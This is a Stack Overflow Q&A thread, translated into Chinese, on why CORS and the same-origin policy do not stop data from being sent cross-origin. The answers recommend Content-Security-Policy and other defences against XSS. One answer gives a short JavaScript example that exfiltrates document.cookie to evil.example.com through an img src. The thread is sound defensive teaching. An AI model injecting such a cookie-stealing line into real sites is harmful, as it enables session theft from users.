【问题标题】:Why does CORS allow sending data to any server?为什么 CORS 允许向任何服务器发送数据?
【发布时间】:2015-04-30 02:51:08
【问题描述】:

我花了一些时间了解Cross-Origin-Resource-Sharing 的工作原理,我无法相信它怎么会设计得如此不安全。

当托管在foo.com 上的网站想要通过ajax 请求存储在bar.com 的资源时,浏览器会询问bar.com 是否允许该请求。 仅当bar.com 明确允许来自foo.com 的异步请求(通过Access-Control-Allow-Origin 响应标头)时,资源才会交付给客户端。

如果应该读取数据,这不是安全问题。但是如果数据被发送到请求的服务器,它就是。

过去,如果黑客成功在网站中插入 JavaScript 代码以窃取 cookie 数据或其他信息,Same-Origin-Policy 防止他可以将信息直接发送到自己的服务器。

但多亏了 CORS,黑客只需启用任何来源即可将被盗信息直接发送到自己的服务器。

我知道,CORS 仍在开发中,但几乎所有主流浏览器都已支持。那么,为什么 CORS 会这样设计呢?如果请求源服务器发送 ajax 请求的权限,这不是更安全吗?

在我看来,这是对安全性的降低。或者不是吗? 我发现的所有与 CORS 相关的“已知问题”都与请求服务器上的弱配置有关。

【问题讨论】:

标签: javascript cross-domain cors same-origin-policy


【解决方案1】:

同源策略纯粹是为了防止一个源读取来自另一个源的资源。您描述的副作用——阻止一个来源发送数据到另一个来源——从来都不是同源策略目的的一部分。

事实上,从 Web 诞生之初,就从未禁止将数据发送到另一个来源。您的浏览器一直发送跨域请求:任何时候遇到跨域<img><script><iframe> 等。同源策略只是限制脚本的读取能力 em> 这些资源;它从未限制浏览器获取它们并将它们显示给用户的能力。

考虑以下代码:

var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;

这会创建:

<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">

当它被添加到页面的 DOM 时,它将把 cookie 数据发送到evil.example.com。同源政策从未阻止过这种行为。

如果您有兴趣将允许您的页面发送数据的来源列入白名单,您需要content security policy,它被明确设计为一种 XSS 缓解机制。

【讨论】:

    【解决方案2】:

    CORS 不是为这个安全问题而设计的。

    对于你提到的这个问题,你需要阻止网站执行任意javascript。更具体地说,您希望防止:

    • 从非白名单来源加载的脚本
    • 直接在页面中的脚本(作为属性或&lt;script&gt; 元素)

    为此,我们使用Content-Security-Policy 标头,例如可以将其设置为"script-src 'self'"(这意味着只能执行从同一来源的外部文件加载的脚本)。

    任何生成内容不平凡的网站都应该设置此标头,但不幸的是,这在旧框架中可能难以处理,因为这会增加非常严格的限制。

    http://en.wikipedia.org/wiki/Content_Security_Policy

    【讨论】:

    • 注意:还有其他可能的攻击,此答案仅涵盖问题中提到的一种。但是您至少还应该设置X-Frame-Options 标头并防止CSRF(通常使用会话令牌)。
    猜你喜欢
    • 2015-09-30
    • 2021-07-05
    • 1970-01-01
    • 2023-03-11
    • 1970-01-01
    • 2010-12-03
    相关资源
    最近更新 更多